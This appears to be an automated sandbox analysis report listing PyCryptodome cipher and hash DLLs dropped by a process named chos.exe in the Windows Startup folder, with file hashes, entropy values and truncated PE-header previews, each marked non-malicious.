                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_cfb.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):12800
                                                                                                                                                                                                                                            Entropy (8bit):5.159963979391524
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:kblRgfeqfz0RP767fB4A84DgVD6eDcqgzbkLgmf:BwRj67p84Dg6eVgzbkLgmf
                                                                                                                                                                                                                                            MD5:899895C0ED6830C4C9A3328CC7DF95B6
                                                                                                                                                                                                                                            SHA1:C02F14EBDA8B631195068266BA20E03210ABEABC
                                                                                                                                                                                                                                            SHA-256:18D568C7BE3E04F4E6026D12B09B1FA3FAE50FF29AC3DEAF861F3C181653E691
                                                                                                                                                                                                                                            SHA-512:0B4C50E40AF92BC9589668E13DF417244274F46F5A66E1FC7D1D59BC281969BA319305BECEA119385F01CC4603439E4B37AFA2CF90645425210848A02839E3E7
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^..6?..6?..6?..?G..2?..dJ..4?..}G..5?..6?...?..dJ..<?..dJ..>?..dJ..5?...J..7?...J..7?...Jk.7?...J..7?..Rich6?..................PE..d...Y..f.........." ................P.....................................................`..........................................8......x9..d....`.......P..d............p..(....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......(..............@....pdata..d....P.......*..............@..@.rsrc........`......................@..@.reloc..(....p.......0..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ctr.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):14848
                                                                                                                                                                                                                                            Entropy (8bit):5.270418334522813
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:vktJ1gifqQGRk0IP73AdXdmEEEEEm9uhiFEQayDZVMcqgnF6+6Lg:vkdU1ID3AdXd49urQPDggnUjLg
                                                                                                                                                                                                                                            MD5:C4C525B081F8A0927091178F5F2EE103
                                                                                                                                                                                                                                            SHA1:A1F17B5EA430ADE174D02ECC0B3CB79DBF619900
                                                                                                                                                                                                                                            SHA-256:4D86A90B2E20CDE099D6122C49A72BAE081F60EB2EEA0F76E740BE6C41DA6749
                                                                                                                                                                                                                                            SHA-512:7C06E3E6261427BC6E654B2B53518C7EAA5F860A47AE8E80DC3F8F0FED91E122CB2D4632188DC44123FB759749B5425F426CD1153A8F84485EF0491002B26555
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r^z.6?..6?..6?..?G..2?..dJ..4?..}G..5?..6?...?..dJ..<?..dJ..>?..dJ..5?...J..7?...J..7?...J..7?...J..7?..Rich6?..........................PE..d...Y..f.........." ......... ......P.....................................................`.........................................`9.......:..d....`.......P...............p..(....1...............................1..8............0.. ............................text............................... ..`.rdata.......0....... ..............@..@.data........@.......0..............@....pdata.......P.......2..............@..@.rsrc........`.......6..............@..@.reloc..(....p.......8..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_des.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):56832
                                                                                                                                                                                                                                            Entropy (8bit):4.231032526864278
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:0qcmHBeNL1dO/qHkpnYcZiGKdZHDLY84vnKAnK2rZA21agVF:fEiqHHx4vZDV
                                                                                                                                                                                                                                            MD5:F9E266F763175B8F6FD4154275F8E2F0
                                                                                                                                                                                                                                            SHA1:8BE457700D58356BC2FA7390940611709A0E5473
                                                                                                                                                                                                                                            SHA-256:14D2799BE604CBDC668FDE8834A896EEE69DAE0E0D43B37289FCCBA35CEF29EC
                                                                                                                                                                                                                                            SHA-512:EB3E37A3C3FF8A65DEF6FA20941C8672A8197A41977E35AE2DC6551B5587B84C2703758320559F2C93C0531AD5C9D0F6C36EC5037669DC5CE78EB3367D89877B
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........PK..1%..1%..1%..I...1%.D$..1%.I$..1%..1$..1%.D ..1%.D!..1%.D&..1%..D-..1%..D%..1%..D...1%..D'..1%.Rich.1%.........................PE..d...X..f.........." .....6...................................................0............`.................................................\...d...............l............ ..0... ...............................@...8............P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...H...........................@....pdata..l...........................@..@.rsrc...............................@..@.reloc..0.... ......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_des3.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):57344
                                                                                                                                                                                                                                            Entropy (8bit):4.252429732285762
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:J4cmHBeIzNweVy/CHkRnYcZiGKdZHDLq80vnKAnKBrZGsURygUX:GEO6CHnX0vZb7
                                                                                                                                                                                                                                            MD5:DECF524B2D53FCD7D4FA726F00B3E5FC
                                                                                                                                                                                                                                            SHA1:E87C6ED4004F2772B888C5B5758AA75FE99D2F6F
                                                                                                                                                                                                                                            SHA-256:58F7053EE70467D3384C73F299C0DFD63EEF9744D61D1980D9D2518974CA92D4
                                                                                                                                                                                                                                            SHA-512:EAFF4FD80843743E61CE635FBADF4E5D9CF2C3E97F3C48350BD9E755F4423AC6867F9FE8746BD5C54E1402B18E8A55AEEF7ACA098C7CF4186DC4C1235EB35DF2
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........PK..1%..1%..1%..I...1%.D$..1%.I$..1%..1$..1%.D ..1%.D!..1%.D&..1%..D-..1%..D%..1%..D...1%..D'..1%.Rich.1%.........................PE..d...X..f.........." .....8...................................................0............`.....................................................d............................ ..0... ...............................@...8............P...............................text...X7.......8.................. ..`.rdata......P.......<..............@..@.data...H...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..0.... ......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ecb.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):10240
                                                                                                                                                                                                                                            Entropy (8bit):4.690163963718492
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:Yddz2KTnThIz0qfteRY4zp+D3PLui8p1cqgHCWt:k2E9RqfCXp+D3juRpLgiWt
                                                                                                                                                                                                                                            MD5:80BB1E0E06ACAF03A0B1D4EF30D14BE7
                                                                                                                                                                                                                                            SHA1:B20CAC0D2F3CD803D98A2E8A25FBF65884B0B619
                                                                                                                                                                                                                                            SHA-256:5D1C2C60C4E571B88F27D4AE7D22494BED57D5EC91939E5716AFA3EA7F6871F6
                                                                                                                                                                                                                                            SHA-512:2A13AB6715B818AD62267AB51E55CD54714AEBF21EC9EA61C2AEFD56017DC84A6B360D024F8682A2E105582B9C5FE892ECEBD2BEF8A492279B19FFD84BC83FA5
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........@................../....../...../......+.......*......-......&....................,....Rich...........................PE..d...X..f.........." ................P........................................p............`.........................................0'.......'..P....P.......@...............`..(....!...............................!..8............ ...............................text............................... ..`.rdata....... ......................@..@.data...H....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..(....`.......&..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_eksblowfish.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):22016
                                                                                                                                                                                                                                            Entropy (8bit):6.1215844022564285
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:nUX0JfbRwUtPMbNv37t6K5jwbDEpJgLa0Mp8xCkgJrAm:jNbRw8EbxwKBwbD+gLa1nh
                                                                                                                                                                                                                                            MD5:3727271FE04ECB6D5E49E936095E95BC
                                                                                                                                                                                                                                            SHA1:46182698689A849A8C210A8BF571D5F574C6F5B1
                                                                                                                                                                                                                                            SHA-256:3AF5B35DCD5A3B6C7E88CEE53F355AAFFF40F2C21DABD4DE27DBB57D1A29B63B
                                                                                                                                                                                                                                            SHA-512:5BED1F4DF678FE90B8E3F1B7C4F68198463E579209B079CB4A40DCAC01CE26AA2417DBE029B196F6F2C6AFAD560E2D1AF9F089ABE37EAD121CA10EE69D9659ED
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...W..f.........." .....(...0......P.....................................................`.........................................0Y.......Y..d............p..................0....Q...............................R..8............@...............................text...H'.......(.................. ..`.rdata.......@... ...,..............@..@.data...H....`.......L..............@....pdata.......p.......N..............@..@.rsrc................R..............@..@.reloc..0............T..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ocb.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):17920
                                                                                                                                                                                                                                            Entropy (8bit):5.293810509074883
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:4PHoDUntQjNB+/yw/pogeXOvXoTezczOo3p9iJgDQ3iNgnVbwhA:dUOhBcDRogeXOfoTezcio3pUJgDQ3i+
                                                                                                                                                                                                                                            MD5:78AEF441C9152A17DD4DC40C7CC9DF69
                                                                                                                                                                                                                                            SHA1:6BB6F8426AFA6522E647DFC82B1B64FAF3A9781F
                                                                                                                                                                                                                                            SHA-256:56E4E4B156295F1AAA22ECB5481841DE2A9EB84845A16E12A7C18C7C3B05B707
                                                                                                                                                                                                                                            SHA-512:27B27E77BE81B29D42359FE28531225383860BCD19A79044090C4EA58D9F98009A254BF63585979C60B3134D47B8233941ABB354A291F23C8641A4961FA33107
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...Y..f.........." .....(... ......P.....................................................`.........................................pI......lJ..d....p.......`..................(....A...............................A..8............@...............................text....'.......(.................. ..`.rdata.......@.......,..............@..@.data........P.......<..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc..(............D..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_ofb.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):11776
                                                                                                                                                                                                                                            Entropy (8bit):4.862619033406922
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:96:0Ga+F/1NtJ9t4udqaj01rlALnNNJSS2sP+YEdMN+F9FdKaWDULk+VOmWbucX6gR7:PF/1n7Guqaj0ktfEON+bMDUlJcqg0Gd
                                                                                                                                                                                                                                            MD5:19E0ABF76B274C12FF624A16713F4999
                                                                                                                                                                                                                                            SHA1:A4B370F556B925F7126BF87F70263D1705C3A0DB
                                                                                                                                                                                                                                            SHA-256:D9FDA05AE16C5387AB46DC728C6EDCE6A3D0A9E1ABDD7ACB8B32FC2A17BE6F13
                                                                                                                                                                                                                                            SHA-512:D03033EA5CF37641FBD802EBEB5019CAEF33C9A78E01519FEA88F87E773DCA92C80B74BA80429B530694DAD0BFA3F043A7104234C7C961E18D48019D90277C8E
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...Y..f.........." ................P.....................................................`..........................................8.......8..d....`.......P..X............p..(....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......$..............@....pdata..X....P.......&..............@..@.rsrc........`.......*..............@..@.reloc..(....p.......,..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_BLAKE2b.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):14336
                                                                                                                                                                                                                                            Entropy (8bit):5.227045547076371
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:saF/1n7Guqaj0ktrE8o2o+V2rQnjt1wmg9jtveDn4clG6VcqgOvgdd:swGXkFE8Zo+AojO9jZeDf5rgOvgz
                                                                                                                                                                                                                                            MD5:309D6F6B0DD022EBD9214F445CAC7BB9
                                                                                                                                                                                                                                            SHA1:ABD22690B7AD77782CFC0D2393D0C038E16070B0
                                                                                                                                                                                                                                            SHA-256:4FBE188C20FB578D4B66349D50AA6FFE4AB86844FB6427C57738F36780D1E2E2
                                                                                                                                                                                                                                            SHA-512:D1951FE92F83E7774E8E877815BED6E6216D56EF18B7F1C369D678CB6E1814243659E9FA7ABC0D22FB5B34A9D50A51D5A89BA00AE1FDD32157FD0FF9902FB4B7
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...U..f.........." ................P.....................................................`..........................................8.......9..d....`.......P..@............p..(....2...............................2..8............0...............................text...x........................... ..`.rdata.......0....... ..............@..@.data...H....@......................@....pdata..@....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..(....p.......6..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_BLAKE2s.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):13824
                                                                                                                                                                                                                                            Entropy (8bit):5.176369829782773
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:rF/1n7Guqaj0ktrESsrUW+SBjsK5tcQmEreD2mf1AoxkVcqgOvgXQ:rGXkFE/UW575tA2eDp1Ao2rgOvgX
                                                                                                                                                                                                                                            MD5:D54FEB9A270B212B0CCB1937C660678A
                                                                                                                                                                                                                                            SHA1:224259E5B684C7AC8D79464E51503D302390C5C9
                                                                                                                                                                                                                                            SHA-256:032B83F1003A796465255D9B246050A196488BAC1260F628913E536314AFDED4
                                                                                                                                                                                                                                            SHA-512:29955A6569CA6D039B35BB40C56AEEB75FC765600525D0B469F72C97945970A428951BAB4AF9CD21B3161D5BBA932F853778E2674CA83B14F7ABA009FA53566F
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...U..f.........." ................P.....................................................`..........................................8.......9..d....`.......P..@............p..(....2...............................2..8............0...............................text...h........................... ..`.rdata.......0......................@..@.data...H....@.......,..............@....pdata..@....P......................@..@.rsrc........`.......2..............@..@.reloc..(....p.......4..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_MD2.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):14336
                                                                                                                                                                                                                                            Entropy (8bit):5.047563322651927
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:6alCvH32p3/2pnEhKnLg9yH8puzoFaPERIQAvHD9CIg5kP:5CvHmp3OpnEhmLg9yH8puzoFaPERIQgI
                                                                                                                                                                                                                                            MD5:52DCD4151A9177CF685BE4DF48EA9606
                                                                                                                                                                                                                                            SHA1:F444A4A5CBAE9422B408420115F0D3FF973C9705
                                                                                                                                                                                                                                            SHA-256:D54375DC0652358A6E4E744F1A0EAEEAD87ACCD391A20D6FF324FE14E988A122
                                                                                                                                                                                                                                            SHA-512:64C54B89F2637759309ECC6655831C3A6755924ED70CBC51614061542EB9BA9A8AECF6951EB3AB92447247DC4D7D846C88F4957DBBE4484A9AB934343EE27178
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...Q..f.........." ......... ......P.....................................................`.........................................@9.......9..d....`.......P..(............p..(....2...............................2..8............0...............................text...X........................... ..`.rdata..@....0......................@..@.data...x....@......................@....pdata..(....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..(....p.......6..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_MD4.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):13824
                                                                                                                                                                                                                                            Entropy (8bit):5.09893680790018
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:xsiXeqVb0lwbH4P01sAD7I/9hAkwDWzBEbcqgqLg:valqH4M1sAD7KvpwDFtgqLg
                                                                                                                                                                                                                                            MD5:F929B1A3997427191E07CF52AC883054
                                                                                                                                                                                                                                            SHA1:C5EA5B68586C2FB09E5FDD20D4DD616D06F5CBA6
                                                                                                                                                                                                                                            SHA-256:5386908173074FABD95BF269A9DF0A4E1B21C0576923186F449ABF4A820F6A8E
                                                                                                                                                                                                                                            SHA-512:2C79DBCE2C21214D979AB86DD989D41A3AFA7FCB7F3B79BA9974E2EE8F832DD7CA20C1C87C0C380DB037D776FE6D0851D60AD55A08AFDE0003B7E59214DD2F3B
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...R..f.........." ................P.....................................................`.........................................08.......8..d....`.......P..(............p..(....1...............................2..8............0...............................text............................... ..`.rdata..0....0......................@..@.data........@.......,..............@....pdata..(....P......................@..@.rsrc........`.......2..............@..@.reloc..(....p.......4..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_MD5.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):15360
                                                                                                                                                                                                                                            Entropy (8bit):5.451865349855574
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:KfwogDHER1wuiDSyoGTgDZOviNgEPrLg:ugDHELwuiDScTgDwi+EP
                                                                                                                                                                                                                                            MD5:1FA5E257A85D16E916E9C22984412871
                                                                                                                                                                                                                                            SHA1:1AC8EE98AD0A715A1B40AD25D2E8007CDC19871F
                                                                                                                                                                                                                                            SHA-256:D87A9B7CAD4C451D916B399B19298DC46AAACC085833C0793092641C00334B8E
                                                                                                                                                                                                                                            SHA-512:E4205355B647C6E28B7E4722328F51DC2EB3A109E9D9B90F7C53D7A80A5A4B10E40ABDDAB1BA151E73EF3EB56941F843535663F42DCE264830E6E17BB659EADF
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...R..f.........." ..... ..........P.....................................................`..........................................8......`9..d....`.......P..X............p..(....1...............................1..8............0...............................text............ .................. ..`.rdata.......0.......$..............@..@.data........@.......2..............@....pdata..X....P.......4..............@..@.rsrc........`.......8..............@..@.reloc..(....p.......:..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_RIPEMD160.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):13824
                                                                                                                                                                                                                                            Entropy (8bit):5.104245335186531
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:192:3F/1n7Guqaj0kt7/Ev9kt0Qwac6QzD8iD0QocqgI4G0S:nGXkd/EvGt9wacNDvAgI4v
                                                                                                                                                                                                                                            MD5:FAD578A026F280C1AE6F787B1FA30129
                                                                                                                                                                                                                                            SHA1:9A3E93818A104314E172A304C3D117B6A66BEB55
                                                                                                                                                                                                                                            SHA-256:74A1FF0801F4704158684267CD8E123F83FB6334FE522C1890AC4A0926F80AB1
                                                                                                                                                                                                                                            SHA-512:ACF8F5B382F3B4C07386505BBDCAF625D13BCC10AA93ED641833E3548261B0AD1063E2F59BE2FCD2AFAF3D315CB3FC5EB629CEFC168B33CFD65A3A6F1120F7FF
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.g.:...:...:...3...>...h...8...q...9...:.......h...1...h...2...h...9.......;.......;.......;.......;...Rich:...................PE..d...U..f.........." ......... ......P.....................................................`..........................................9.......:..d....`.......P...............p..(...@3..............................`3..8............0...............................text...H........................... ..`.rdata.......0......................@..@.data...H....@.......,..............@....pdata.......P......................@..@.rsrc........`.......2..............@..@.reloc..(....p.......4..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA1.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):17920
                                                                                                                                                                                                                                            Entropy (8bit):5.671305741258107
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:APHoDUntQj0sKhDOJ+0QPSfu6rofDjiZzgE+kbwb:VUOYsKNO466DjoUE+
                                                                                                                                                                                                                                            MD5:556E6D0E5F8E4DA74C2780481105D543
                                                                                                                                                                                                                                            SHA1:7A49CDEF738E9FE9CD6CD62B0F74EAD1A1774A33
                                                                                                                                                                                                                                            SHA-256:247B0885CF83375211861F37B6DD1376AED5131D621EE0137A60FE7910E40F8B
                                                                                                                                                                                                                                            SHA-512:28FA0CE6BDBCC5E95B80AADC284C12658EF0C2BE63421AF5627776A55050EE0EA0345E30A15B744FC2B2F5B1B1BBB61E4881F27F6E3E863EBAAEED1073F4CDA1
                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.G.:.).:.).:.).3...>.).h.(.8.).q.(.9.).:.(...).h.,.1.).h.-.2.).h.*.9.)...!.;.)...).;.).....;.)...+.;.).Rich:.).........................PE..d...R..f.........." .....*..........P.....................................................`..........................................H......hI..d....p.......`..X...............(....A...............................A..8............@...............................text....).......*.................. ..`.rdata.......@......................@..@.data........P.......<..............@....pdata..X....`.......>..............@..@.rsrc........p.......B..............@..@.reloc..(............D..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_SHA224.pyd

                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                            Size (bytes):21504
                                                                                                                                                                                                                                            Entropy (8bit):5.878701941774916
                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                            SSDEEP:384:EJWo4IRCGHX1KXqHGcvYHp5RYcARQOj4MSTjqgPmJD1OhgkxEv:EcIRnHX1P/YtswvaD1Rk
                                                                                                                                                                                                                                            MD5:2F2655A7BBFE08D43013EDDA27E77904
                                                                                                                                                                                                                                            SHA1:33D51B6C423E094BE3E34E5621E175329A0C0914
                                                                                                                                                                                                                                            SHA-256:C734ABBD95EC120CB315C43021C0E1EB1BF2295AF9F1C24587334C3FCE4A5BE1
                                                                                                                                                                                                                                            SHA-512:8AF99ACC969B0E560022F75A0CDCAA85D0BDEADADEACD59DD0C4500F94A5843EA0D4107789C1A613181B1F4E5252134A485EF6B1D9D83CDB5676C5FEE4D49B90
                                                                                                                                                                                                                                            Malicious:false
